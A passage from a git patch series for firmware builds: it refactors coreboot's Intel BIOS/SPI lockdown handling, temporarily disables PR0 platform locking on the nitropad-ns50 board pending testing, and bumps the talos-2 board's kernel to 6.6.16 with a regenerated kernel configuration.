BIOS Interface Lock */ +@@ -95,24 +98,6 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) + } + } + -static void lpc_lockdown_config(int chipset_lockdown) -{ - /* Set BIOS Interface Lock, BIOS Lock */ @@ -230,7 +208,7 @@ index eec3beb01b..2d229e1a90 100644 - lpc_set_bios_interface_lock_down(); - - /* Only allow writes in SMM */ -- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- if (CONFIG(BOOTMEDIA_SMM_BWP) && is_smm_bwp_permitted()) { - lpc_set_eiss(); - lpc_enable_wp(); - } @@ -238,26 +216,14 @@ index eec3beb01b..2d229e1a90 100644 - /* BIOS Lock */ - lpc_set_lock_enable(); - } -+ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) -+ fast_spi_lockdown_bios(chipset_lockdown); - } - +-} +- static void sa_lockdown_config(int chipset_lockdown) -@@ -135,8 +96,9 @@ static void platform_lockdown_config(void *unused) - /* SPI lock down configuration */ - fast_spi_lockdown_cfg(chipset_lockdown); - -- /* LPC/eSPI lock down configuration */ -- lpc_lockdown_config(chipset_lockdown); -+ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) -+ /* LPC/eSPI lock down configuration */ -+ lpc_lockdown_config(chipset_lockdown); - - /* GPMR lock down configuration */ - gpmr_lockdown_cfg(); + { + if (!CONFIG(SOC_INTEL_COMMON_BLOCK_SA)) diff --git a/src/soc/intel/common/pch/lockdown/lockdown_lpc.c b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c new file mode 100644 -index 0000000000..69278ea343 +index 00000000000..69278ea343f --- /dev/null +++ b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c @@ -0,0 +1,23 @@ @@ -286,10 +252,10 @@ index 0000000000..69278ea343 +} diff --git a/src/soc/intel/common/pch/lockdown/lockdown_spi.c b/src/soc/intel/common/pch/lockdown/lockdown_spi.c new file mode 100644 -index 0000000000..8dbe93013e +index 00000000000..fa09cec7c2e --- /dev/null +++ b/src/soc/intel/common/pch/lockdown/lockdown_spi.c -@@ -0,0 +1,32 @@ +@@ -0,0 +1,35 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ + +#include @@ -298,6 +264,9 @@ index 0000000000..8dbe93013e + +void fast_spi_lockdown_bios(int chipset_lockdown) +{ ++ if (!CONFIG(SOC_INTEL_COMMON_BLOCK_FAST_SPI)) ++ return; ++ + /* Discrete Lock Flash PR registers */ + fast_spi_pr_dlock(); + @@ -323,7 +292,7 @@ index 0000000000..8dbe93013e + } +} diff --git a/src/soc/intel/denverton_ns/lpc.c b/src/soc/intel/denverton_ns/lpc.c -index 7dc971ea92..c4f7681c62 100644 +index 7ebca1eb946..8d8acf05088 100644 --- a/src/soc/intel/denverton_ns/lpc.c +++ b/src/soc/intel/denverton_ns/lpc.c @@ -536,7 +536,8 @@ static const struct pci_driver lpc_driver __pci_driver = { @@ -337,25 +306,24 @@ index 7dc971ea92..c4f7681c62 100644 BOOT_STATE_INIT_ENTRY(BS_OS_RESUME, BS_ON_ENTRY, finalize_chipset, NULL); diff --git a/src/soc/intel/elkhartlake/finalize.c b/src/soc/intel/elkhartlake/finalize.c -index 275413b4ef..fc54710303 100644 +index 275413b4efa..802d02cb596 100644 --- a/src/soc/intel/elkhartlake/finalize.c +++ b/src/soc/intel/elkhartlake/finalize.c -@@ -43,7 +43,9 @@ static void soc_finalize(void *unused) +@@ -43,7 +43,8 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) heci_finalize(); diff --git a/src/soc/intel/jasperlake/finalize.c b/src/soc/intel/jasperlake/finalize.c -index 8788db155d..4840c0c04c 100644 +index 6cff7a80f30..1b68cc51786 100644 --- a/src/soc/intel/jasperlake/finalize.c +++ b/src/soc/intel/jasperlake/finalize.c -@@ -76,7 +76,8 @@ static void soc_finalize(void *unused) +@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); @@ -366,37 +334,21 @@ index 8788db155d..4840c0c04c 100644 /* Indicate finalize step with post code */ post_code(POSTCODE_OS_BOOT); diff --git a/src/soc/intel/meteorlake/finalize.c b/src/soc/intel/meteorlake/finalize.c -index 1fd1d98fb5..80802db285 100644 +index a977b0516e5..951153fa812 100644 --- a/src/soc/intel/meteorlake/finalize.c +++ b/src/soc/intel/meteorlake/finalize.c -@@ -64,7 +64,9 @@ static void soc_finalize(void *unused) +@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); -+ - tbt_finalize(); - sa_finalize(); - if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && -diff --git a/src/soc/intel/pantherlake/finalize.c b/src/soc/intel/pantherlake/finalize.c -index 05ec3eaaca..1d47dd7a0b 100644 ---- a/src/soc/intel/pantherlake/finalize.c -+++ b/src/soc/intel/pantherlake/finalize.c -@@ -63,7 +63,9 @@ static void soc_finalize(void *unused) - printk(BIOS_DEBUG, "Finalizing chipset.\n"); - - pch_finalize(); -- apm_control(APM_CNT_FINALIZE); -+ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) -+ apm_control(APM_CNT_FINALIZE); -+ tbt_finalize(); sa_finalize(); if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && diff --git a/src/soc/intel/skylake/finalize.c b/src/soc/intel/skylake/finalize.c -index fd80aeac1a..a147b62e46 100644 +index fd80aeac1a0..a147b62e46f 100644 --- a/src/soc/intel/skylake/finalize.c +++ b/src/soc/intel/skylake/finalize.c @@ -106,7 +106,8 @@ static void soc_finalize(void *unused) @@ -410,22 +362,21 @@ index fd80aeac1a..a147b62e46 100644 /* Indicate finalize step with post code */ post_code(POSTCODE_OS_BOOT); diff --git a/src/soc/intel/tigerlake/finalize.c b/src/soc/intel/tigerlake/finalize.c -index cd02745a9e..158b2fb691 100644 +index cd02745a9e6..06ce243fe72 100644 --- a/src/soc/intel/tigerlake/finalize.c +++ b/src/soc/intel/tigerlake/finalize.c -@@ -55,7 +55,9 @@ static void soc_finalize(void *unused) +@@ -55,7 +55,8 @@ static void soc_finalize(void *unused) printk(BIOS_DEBUG, "Finalizing chipset.\n"); pch_finalize(); - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); -+ tbt_finalize(); if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) heci1_disable(); diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c -index a7b3602744..f0cd8a1998 100644 +index af630fe8127..8e409b8c439 100644 --- a/src/soc/intel/xeon_sp/finalize.c +++ b/src/soc/intel/xeon_sp/finalize.c @@ -59,7 +59,8 @@ static void soc_finalize(void *unused) @@ -435,43 +386,6 @@ index a7b3602744..f0cd8a1998 100644 - apm_control(APM_CNT_FINALIZE); + if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) + apm_control(APM_CNT_FINALIZE); + lock_pam0123(); if (CONFIG_MAX_SOCKET > 1) { - /* This MSR is package scope but run for all cpus for code simplicity */ -diff --git a/src/soc/intel/xeon_sp/lockdown.c b/src/soc/intel/xeon_sp/lockdown.c -index a3d17b46c3..51a5cf5431 100644 ---- a/src/soc/intel/xeon_sp/lockdown.c -+++ b/src/soc/intel/xeon_sp/lockdown.c -@@ -6,25 +6,15 @@ - #include - #include - --static void lpc_lockdown_config(void) --{ -- /* Set BIOS Interface Lock, BIOS Lock */ -- lpc_set_bios_interface_lock_down(); -- -- /* Only allow writes in SMM */ -- if (CONFIG(BOOTMEDIA_SMM_BWP)) { -- lpc_set_eiss(); -- lpc_enable_wp(); -- } -- lpc_set_lock_enable(); --} -- - void soc_lockdown_config(int chipset_lockdown) - { - if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) - return; - -- lpc_lockdown_config(); -+ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) -+ /* LPC/eSPI lock down configuration */ -+ lpc_lockdown_config(chipset_lockdown); -+ - pmc_lockdown_config(); - sata_lockdown_config(chipset_lockdown); - spi_lockdown_config(chipset_lockdown); --- -2.39.5 - From f8b03b30878debd3e3dfd8c8365ea245ccedc8c2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 29 Nov 2024 11:17:02 -0500 Subject: [PATCH 350/619] nitropad-ns50: remove PR0 until tested and readded in seperate PR Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index c0eccb691..ffcb94579 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -30,9 +30,10 @@ CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y +#TODO: readd when tested #platform locking finalization (PR0) -CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING=y +#CONFIG_IO386=y +#export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support From d7ff890c78ae3aadfe5ffbe33f32d5acf67c5b7a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Oct 2024 10:44:39 -0400 Subject: [PATCH 351/619] WiP: talos-2: kernel version bump to 6.6.16 Signed-off-by: Thierry Laurion --- .../UNTESTED_talos-2/UNTESTED_talos-2.config | 2 +- config/linux-talos-2.config | 1127 +++++++++++------ modules/linux | 8 +- ...ci-Reset-controller-on-xhci-shutdown.patch | 29 + .../0002-Release-OpenPower-kernel.patch | 23 + ...on-to-initialize-palette-on-driver-l.patch | 138 ++ ...04-Force-ASpeed-RAMDAC-palette-reset.patch | 26 + ...-gpr1-and-fpu-save-restore-functions.patch | 329 +++++ 8 files changed, 1296 insertions(+), 386 deletions(-) create mode 100644 patches/linux-6.6.16-openpower/0001-xhci-Reset-controller-on-xhci-shutdown.patch create mode 100644 patches/linux-6.6.16-openpower/0002-Release-OpenPower-kernel.patch create mode 100644 patches/linux-6.6.16-openpower/0003-drm-ast-Add-option-to-initialize-palette-on-driver-l.patch create mode 100644 patches/linux-6.6.16-openpower/0004-Force-ASpeed-RAMDAC-palette-reset.patch create mode 100644 patches/linux-6.6.16-openpower/0005-powerpc-Add-gpr1-and-fpu-save-restore-functions.patch diff --git a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config index fc6cd0e35..9751df12f 100644 --- a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config +++ b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config @@ -4,7 +4,7 @@ CONFIG_TARGET_ARCH=ppc64 export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=talos_2 -export CONFIG_LINUX_VERSION=5.5-openpower +export CONFIG_LINUX_VERSION=6.6.16-openpower CONFIG_COREBOOT_CONFIG=config/coreboot-talos-2.config CONFIG_COREBOOT_ROM=coreboot.rom.signed.ecc diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index a4d826656..350a95c66 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -1,20 +1,23 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/powerpc 5.5.0-openpower1 Kernel Configuration -# - -# -# Compiler: powerpc64le-linux-musl-gcc (GCC) 8.3.0 +# Linux/powerpc 6.6.16-openpower1 Kernel Configuration # +CONFIG_CC_VERSION_TEXT="powerpc64le-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 +CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y -CONFIG_CC_HAS_ASM_GOTO=y +CONFIG_CC_CAN_LINK_STATIC=y CONFIG_CC_HAS_ASM_INLINE=y -CONFIG_CC_HAS_WARN_MAYBE_UNINITIALIZED=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y -CONFIG_BUILDTIME_EXTABLE_SORT=y +CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y # @@ -30,12 +33,14 @@ CONFIG_HAVE_KERNEL_GZIP=y CONFIG_HAVE_KERNEL_XZ=y CONFIG_KERNEL_GZIP=y # CONFIG_KERNEL_XZ is not set +CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set CONFIG_SYSVIPC=y CONFIG_SYSVIPC_SYSCTL=y +CONFIG_SYSVIPC_COMPAT=y CONFIG_POSIX_MQUEUE=y CONFIG_POSIX_MQUEUE_SYSCTL=y +# CONFIG_WATCH_QUEUE is not set # CONFIG_CROSS_MEMORY_ATTACH is not set # CONFIG_USELIB is not set # CONFIG_AUDIT is not set @@ -51,7 +56,6 @@ CONFIG_HARDIRQS_SW_RESEND=y CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y -CONFIG_GENERIC_MSI_IRQ_DOMAIN=y CONFIG_IRQ_FORCED_THREADING=y CONFIG_SPARSE_IRQ=y # CONFIG_GENERIC_IRQ_DEBUGFS is not set @@ -62,6 +66,8 @@ CONFIG_GENERIC_CLOCKEVENTS=y CONFIG_ARCH_HAS_TICK_BROADCAST=y CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y CONFIG_GENERIC_CMOS_UPDATE=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -75,9 +81,22 @@ CONFIG_NO_HZ=y CONFIG_HIGH_RES_TIMERS=y # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -101,8 +120,8 @@ CONFIG_CPU_ISOLATION=y # CONFIG_TREE_RCU=y # CONFIG_RCU_EXPERT is not set -CONFIG_SRCU=y CONFIG_TREE_SRCU=y +CONFIG_NEED_SRCU_NMI_SAFE=y CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem @@ -112,7 +131,7 @@ CONFIG_IKCONFIG_PROC=y # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=20 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 -CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 +# CONFIG_PRINTK_INDEX is not set # # Scheduler features @@ -121,11 +140,12 @@ CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y # CONFIG_CGROUPS is not set # CONFIG_NAMESPACES is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set -# CONFIG_SYSFS_DEPRECATED is not set CONFIG_RELAY=y CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="../@BOARD_BUILD_DIR@/initrd.cpio" @@ -137,14 +157,18 @@ CONFIG_INITRAMFS_ROOT_GID=0 CONFIG_RD_XZ=y # CONFIG_RD_LZO is not set # CONFIG_RD_LZ4 is not set -CONFIG_INITRAMFS_COMPRESSION=".xz" +CONFIG_RD_ZSTD=y +CONFIG_INITRAMFS_COMPRESSION_XZ=y +# CONFIG_INITRAMFS_COMPRESSION_ZSTD is not set +# CONFIG_INITRAMFS_COMPRESSION_NONE is not set +# CONFIG_BOOT_CONFIG is not set +CONFIG_INITRAMFS_PRESERVE_MTIME=y CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE=y # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set -CONFIG_HAVE_LD_DEAD_CODE_DATA_ELIMINATION=y -# CONFIG_LD_DEAD_CODE_DATA_ELIMINATION is not set +CONFIG_LD_ORPHAN_WARN=y +CONFIG_LD_ORPHAN_WARN_LEVEL="warn" CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y -CONFIG_BPF=y CONFIG_EXPERT=y CONFIG_MULTIUSER=y CONFIG_SGETMASK_SYSCALL=y @@ -162,19 +186,20 @@ CONFIG_SIGNALFD=y CONFIG_TIMERFD=y CONFIG_EVENTFD=y CONFIG_SHMEM=y -CONFIG_AIO is not set +CONFIG_AIO=y CONFIG_IO_URING=y CONFIG_ADVISE_SYSCALLS=y CONFIG_MEMBARRIER=y CONFIG_KALLSYMS=y +# CONFIG_KALLSYMS_SELFTEST is not set # CONFIG_KALLSYMS_ALL is not set CONFIG_KALLSYMS_BASE_RELATIVE=y -# CONFIG_BPF_SYSCALL is not set -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_CALLBACKS=y +CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y CONFIG_RSEQ=y +CONFIG_CACHESTAT_SYSCALL=y # CONFIG_DEBUG_RSEQ is not set -# CONFIG_EMBEDDED is not set CONFIG_HAVE_PERF_EVENTS=y # CONFIG_PC104 is not set @@ -184,19 +209,18 @@ CONFIG_HAVE_PERF_EVENTS=y CONFIG_PERF_EVENTS=y # end of Kernel Performance Events And Counters -CONFIG_VM_EVENT_COUNTERS=y -CONFIG_SLUB_DEBUG=y -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -CONFIG_SLAB_FREELIST_HARDENED=y -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y CONFIG_SYSTEM_DATA_VERIFICATION=y # CONFIG_PROFILING is not set + +# +# Kexec and crash features +# +CONFIG_CRASH_CORE=y +CONFIG_KEXEC_CORE=y +CONFIG_KEXEC=y +# CONFIG_KEXEC_FILE is not set +# CONFIG_CRASH_DUMP is not set +# end of Kexec and crash features # end of General setup CONFIG_PPC64=y @@ -206,26 +230,28 @@ CONFIG_PPC64=y # CONFIG_PPC_BOOK3S_64=y # CONFIG_PPC_BOOK3E_64 is not set -# CONFIG_GENERIC_CPU is not set +# CONFIG_POWERPC64_CPU is not set # CONFIG_POWER7_CPU is not set # CONFIG_POWER8_CPU is not set CONFIG_POWER9_CPU=y +# CONFIG_POWER10_CPU is not set +# CONFIG_TOOLCHAIN_DEFAULT_CPU is not set CONFIG_TARGET_CPU_BOOL=y CONFIG_TARGET_CPU="power9" CONFIG_PPC_BOOK3S=y +CONFIG_PPC_FPU_REGS=y CONFIG_PPC_FPU=y CONFIG_ALTIVEC=y CONFIG_VSX=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_PPC_64S_HASH_MMU=y CONFIG_PPC_RADIX_MMU=y CONFIG_PPC_RADIX_MMU_DEFAULT=y -CONFIG_PPC_HAVE_KUEP=y CONFIG_PPC_KUEP=y -CONFIG_PPC_HAVE_KUAP=y CONFIG_PPC_KUAP=y # CONFIG_PPC_KUAP_DEBUG is not set -CONFIG_PPC_MM_SLICES=y +CONFIG_PPC_PKEY=y CONFIG_PPC_HAVE_PMU_SUPPORT=y +# CONFIG_PMU_SYSFS is not set CONFIG_PPC_PERF_CTRS=y CONFIG_FORCE_SMP=y CONFIG_SMP=y @@ -233,39 +259,40 @@ CONFIG_NR_CPUS=2048 CONFIG_PPC_DOORBELL=y # end of Processor support +CONFIG_VDSO32=y # CONFIG_CPU_BIG_ENDIAN is not set CONFIG_CPU_LITTLE_ENDIAN=y +CONFIG_PPC64_ELF_ABI_V2=y CONFIG_PPC64_BOOT_WRAPPER=y +CONFIG_CC_HAS_ELFV2=y CONFIG_64BIT=y CONFIG_MMU=y CONFIG_ARCH_MMAP_RND_BITS_MAX=29 CONFIG_ARCH_MMAP_RND_BITS_MIN=14 CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=13 CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=7 -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y CONFIG_NR_IRQS=512 CONFIG_NMI_IPI=y CONFIG_PPC_WATCHDOG=y CONFIG_STACKTRACE_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_SUPPORT=y CONFIG_LOCKDEP_SUPPORT=y CONFIG_GENERIC_HWEIGHT=y CONFIG_PPC=y CONFIG_PPC_BARRIER_NOSPEC=y +CONFIG_PPC_HAS_LBARX_LHARX=y CONFIG_EARLY_PRINTK=y CONFIG_PANIC_TIMEOUT=180 CONFIG_COMPAT=y -CONFIG_SYSVIPC_COMPAT=y CONFIG_SCHED_OMIT_FRAME_POINTER=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_PPC_UDBG_16550=y CONFIG_AUDIT_ARCH=y CONFIG_GENERIC_BUG=y +CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_EPAPR_BOOT=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y CONFIG_ARCH_SUSPEND_NONZERO_CPU=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_PPC_DAWR=y CONFIG_PGTABLE_LEVELS=4 @@ -280,17 +307,18 @@ CONFIG_PPC_XIVE_NATIVE=y # CONFIG_PPC_POWERNV=y # CONFIG_OPAL_PRD is not set -# CONFIG_PPC_VAS is not set # CONFIG_SCOM_DEBUGFS is not set # CONFIG_PPC_PSERIES is not set +# CONFIG_PPC_VAS is not set # CONFIG_KVM_GUEST is not set # CONFIG_EPAPR_PARAVIRT is not set -CONFIG_PPC_NATIVE=y +CONFIG_PPC_HASH_MMU_NATIVE=y CONFIG_PPC_OF_BOOT_TRAMPOLINE=y CONFIG_PPC_DT_CPU_FTRS=y CONFIG_PPC_SMP_MUXED_IPI=y CONFIG_EEH=y CONFIG_PPC_P7_NAP=y +CONFIG_PPC_BOOK3S_IDLE=y CONFIG_PPC_INDIRECT_PIO=y # @@ -316,6 +344,7 @@ CONFIG_CPU_FREQ_GOV_ONDEMAND=y # # CPU frequency scaling drivers # +# CONFIG_CPUFREQ_DT_PLATDEV is not set CONFIG_POWERNV_CPUFREQ=y # end of CPU Frequency scaling @@ -353,41 +382,37 @@ CONFIG_HZ=100 CONFIG_SCHED_HRTICK=y # CONFIG_PPC_TRANSACTIONAL_MEM is not set # CONFIG_LD_HEAD_STUB_CATCH is not set -CONFIG_MPROFILE_KERNEL=y # CONFIG_HOTPLUG_CPU is not set -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_MEMORY_HOTREMOVE=y +CONFIG_PPC_QUEUED_SPINLOCKS=y CONFIG_PPC64_SUPPORTS_MEMORY_FAILURE=y -CONFIG_KEXEC=y -# CONFIG_KEXEC_FILE is not set -# CONFIG_RELOCATABLE is not set -# CONFIG_CRASH_DUMP is not set +CONFIG_ARCH_SUPPORTS_KEXEC=y +CONFIG_ARCH_SUPPORTS_KEXEC_FILE=y +CONFIG_ARCH_SUPPORTS_KEXEC_PURGATORY=y +CONFIG_RELOCATABLE=y +# CONFIG_RELOCATABLE_TEST is not set +CONFIG_ARCH_SUPPORTS_CRASH_DUMP=y # CONFIG_FA_DUMP is not set # CONFIG_PRESERVE_FA_DUMP is not set # CONFIG_OPAL_CORE is not set CONFIG_IRQ_ALL_CPUS=y CONFIG_NUMA=y CONFIG_NODES_SHIFT=8 -CONFIG_USE_PERCPU_NUMA_NODE_ID=y CONFIG_HAVE_MEMORYLESS_NODES=y CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_SYS_SUPPORTS_HUGETLBFS=y CONFIG_ILLEGAL_POINTER_VALUE=0x5deadbeef0000000 -CONFIG_NODES_SPAN_OTHER_NODES=y # CONFIG_PPC_4K_PAGES is not set CONFIG_PPC_64K_PAGES=y +CONFIG_PAGE_SIZE_64KB=y CONFIG_PPC_PAGE_SHIFT=16 CONFIG_THREAD_SHIFT=14 -CONFIG_ETEXT_SHIFT=16 CONFIG_DATA_SHIFT=24 -CONFIG_FORCE_MAX_ZONEORDER=9 +CONFIG_ARCH_FORCE_MAX_ORDER=8 # CONFIG_PPC_SUBPAGE_PROT is not set -CONFIG_PPC_COPRO_BASE=y +# CONFIG_PPC_PROT_SAO_LPAR is not set CONFIG_SCHED_SMT=y CONFIG_PPC_DENORMALISATION=y -CONFIG_CMDLINE_BOOL=y CONFIG_CMDLINE="console=tty0 console=hvc0 powersave=off quiet" CONFIG_CMDLINE_FROM_BOOTLOADER=y # CONFIG_CMDLINE_EXTEND is not set @@ -395,7 +420,6 @@ CONFIG_CMDLINE_FROM_BOOTLOADER=y CONFIG_EXTRA_TARGETS="" # CONFIG_PM is not set # CONFIG_ENERGY_MODEL is not set -# CONFIG_SECCOMP is not set CONFIG_PPC_MEM_KEYS=y # end of Kernel options @@ -408,37 +432,16 @@ CONFIG_GENERIC_ISA_DMA=y # CONFIG_FSL_LBC is not set # end of Bus options +CONFIG_NONSTATIC_KERNEL=y CONFIG_PAGE_OFFSET=0xc000000000000000 CONFIG_KERNEL_START=0xc000000000000000 CONFIG_PHYSICAL_START=0x00000000 -CONFIG_ARCH_RANDOM=y # CONFIG_VIRTUALIZATION is not set -CONFIG_HAVE_LIVEPATCH=y - -# -# Firmware Drivers -# -# CONFIG_FIRMWARE_MEMMAP is not set -CONFIG_GOOGLE_FIRMWARE=y -CONFIG_GOOGLE_COREBOOT_TABLE=y -CONFIG_GOOGLE_COREBOOT_CBMEM=y -CONFIG_GOOGLE_MEMCONSOLE=y -CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y -# CONFIG_GOOGLE_VPD is not set -CONFIG_EFI_EARLYCON=y - -# -# Tegra firmware driver -# -# end of Tegra firmware driver -# end of Firmware Drivers # # General architecture-dependent options # -CONFIG_CRASH_CORE=y -CONFIG_KEXEC_CORE=y -CONFIG_HAVE_OPROFILE=y +CONFIG_SMT_NUM_THREADS_DYNAMIC=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_STATIC_KEYS_SELFTEST is not set @@ -449,66 +452,86 @@ CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y -CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y CONFIG_HAVE_NMI=y CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_GENERIC_IDLE_POLL_SETUP=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y +CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_HAVE_ASM_MODVERSIONS=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_RSEQ=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_PERF_EVENTS_NMI=y -CONFIG_HAVE_NMI_WATCHDOG=y +CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HAVE_HARDLOCKUP_DETECTOR_ARCH=y CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y -CONFIG_HAVE_RCU_TABLE_FREE=y -CONFIG_HAVE_RCU_TABLE_NO_INVALIDATE=y -CONFIG_HAVE_MMU_GATHER_PAGE_SIZE=y +CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_TABLE_FREE=y +CONFIG_MMU_GATHER_RCU_TABLE_FREE=y +CONFIG_MMU_GATHER_PAGE_SIZE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y 